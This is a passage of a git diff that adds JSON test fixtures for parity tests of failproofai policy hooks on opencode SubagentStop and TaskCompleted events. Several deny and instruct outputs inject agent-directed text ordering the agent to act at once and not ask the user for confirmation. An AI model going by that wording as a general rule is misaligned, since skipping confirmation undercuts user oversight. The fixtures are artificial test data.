"stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..07342905 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d2388633 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..0c84cf51 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c0905c19 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..ae220e92 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3f4e8197 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..ed7cf81d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..c4ed02e9 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..1ca705aa --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..b3769655 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..8387bebc --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..80a1a090 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..d9e7b29c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c57e88f7 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e4981616 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..eea81813 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..861428ff --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3a94bd4c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c4332044 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": 